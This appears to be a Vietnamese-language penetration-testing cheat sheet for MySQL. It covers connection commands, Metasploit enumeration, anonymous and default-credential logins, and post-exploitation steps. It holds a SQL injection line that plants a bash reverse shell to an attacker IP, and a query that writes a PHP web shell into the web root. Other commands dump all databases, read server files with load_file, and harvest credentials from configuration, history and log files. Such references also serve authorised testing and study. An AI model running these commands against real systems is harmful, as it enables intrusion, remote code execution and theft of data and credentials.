MySQL (Port 3306)
Connect
Local
Kết nối tới MySQL cục bộ với tên người dùng, tùy chọn mật khẩu hoặc cơ sở dữ liệu:
mysql -u <username>
mysql -u <username> -p
mysql -u <username> -p <database_name>
Remote
Kết nối tới máy chủ MySQL từ xa với tên người dùng, hostname, cổng, và tùy chọn cơ sở dữ liệu:
mysql -u <username> -h <ip> -P <port> -p
mysql -u <username> -h <ip> -P <port> -p -D <database_name>
URL
Sử dụng URL MySQL để kết nối ứng dụng với cơ sở dữ liệu:
mysql://<username>:<password>@<ip>:<port>/<database_name>
Enumeration
Kiểm tra bằng Metasploit
Sử dụng các module Metasploit để liệt kê phiên bản, lược đồ, hoặc tài khoản người dùng:
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/admin/mysql/mysql_enum
msf> use auxiliary/scanner/mysql/mysql_schemadump
Attack Vectors
Đăng nhập ẩn danh
Kết nối tới MySQL mà không cần mật khẩu bằng tài khoản ẩn danh:
mysql -u anonymous -h <ip> -P 3306
Đăng nhập với thông tin mặc định
Thử đăng nhập với thông tin đăng nhập mặc định như root với mật khẩu trống hoặc yếu:
mysql -u root -p
# Nhập mật khẩu mặc định hoặc để trống
Thực thi mã từ xa qua SQL Injection
Tận dụng lỗ hổng SQL Injection để thực thi mã hệ thống thông qua cập nhật dữ liệu:
mysql> UPDATE DB.users SET email='example@shell|| bash -c "bash -i >& /dev/tcp/<your_ip>/<port> 0>&1" &' WHERE name LIKE 'user%';
Post-Exploitation
Các lệnh MySQL thông dụng
| Câu lệnh | Description | Cách dùng |
|---|---|---|
SHOW DATABASES; | Liệt kê Database | SHOW DATABASES; |
USE | Đổi Database | USE database_name; |
SHOW TABLES; | Liệt kê các bảng trong Database | SHOW TABLES; |
SHOW COLUMNS FROM | Liệt kê các cột trong bảng | SHOW COLUMNS FROM table_name; |
SELECT | Truy xuất dữ liệu | SELECT * FROM table_name; |
INSERT INTO | Chèn bản ghi mới vào bảng | INSERT INTO table_name (column1, column2) VALUES (value1, value2); |
UPDATE | Cập nhật các bản ghi trong bảng | UPDATE table_name SET column1 = value1 WHERE condition; |
DELETE FROM | Xóa các bản ghi trong bảng | DELETE FROM table_name WHERE condition; |
CREATE DATABASE | Tạo Database mới | CREATE DATABASE database_name; |
DROP DATABASE | Xóa Database | DROP DATABASE database_name; |
CREATE TABLE | Tạo bảng mới | CREATE TABLE table_name (column1 datatype, column2 datatype); |
DROP TABLE | Xóa bảng | DROP TABLE table_name; |
ALTER TABLE ADD | Thêm cột mới | ALTER TABLE table_name ADD column_name datatype; |
ALTER TABLE DROP COLUMN | Xóa cột | ALTER TABLE table_name DROP COLUMN column_name; |
GRANT | Cấp quyền cho user | GRANT ALL PRIVILEGES ON database_name.* TO 'user'@'localhost' IDENTIFIED BY 'password'; |
REVOKE | Thu hồi quyền của user | REVOKE ALL PRIVILEGES ON database_name.* FROM 'user'@'localhost'; |
SHOW GRANTS FOR | Liệt kê các quyền của user | SHOW GRANTS FOR 'user'@'localhost'; |
FLUSH PRIVILEGES; | Tải lại bảng quyền | FLUSH PRIVILEGES; |
Sao lưu toàn bộ cơ sở dữ liệu
Sao lưu tất cả cơ sở dữ liệu để trích xuất thông tin:
mysqldump -u <username> -p <password> --all-databases --skip-lock-tables
Đọc tệp hệ thống
Sử dụng hàm load_file để đọc nội dung tệp từ hệ thống tệp của máy chủ:
SELECT load_file('/var/lib/mysql-files/key.txt');
Ghi tệp hệ thống cho RCE
Ghi script độc hại vào thư mục web để thực thi mã từ xa:
SELECT 1,2,"<?php echo shell_exec($_GET['command']);?>" INTO OUTFILE '/var/www/html/shell.php';
Truy cập tệp cấu hình MySQL
Kiểm tra các tệp cấu hình để tìm thông tin đăng nhập.
Unix:
cat /etc/mysql/my.cnf
cat ~/.my.cnf
Windows:
type config.ini
type my.ini
Kiểm tra lịch sử lệnh
Xem lịch sử lệnh MySQL để tìm thông tin nhạy cảm:
cat ~/.mysql_history
Kiểm tra tệp nhật ký
Kiểm tra các tệp nhật ký để tìm dữ liệu nhạy cảm:
cat connections.log
cat update.log
cat common.log
Tìm mật khẩu trong ứng dụng
Kiểm tra tệp cấu hình ứng dụng web để tìm thông tin đăng nhập MySQL:
cat /var/www/html/configuration.php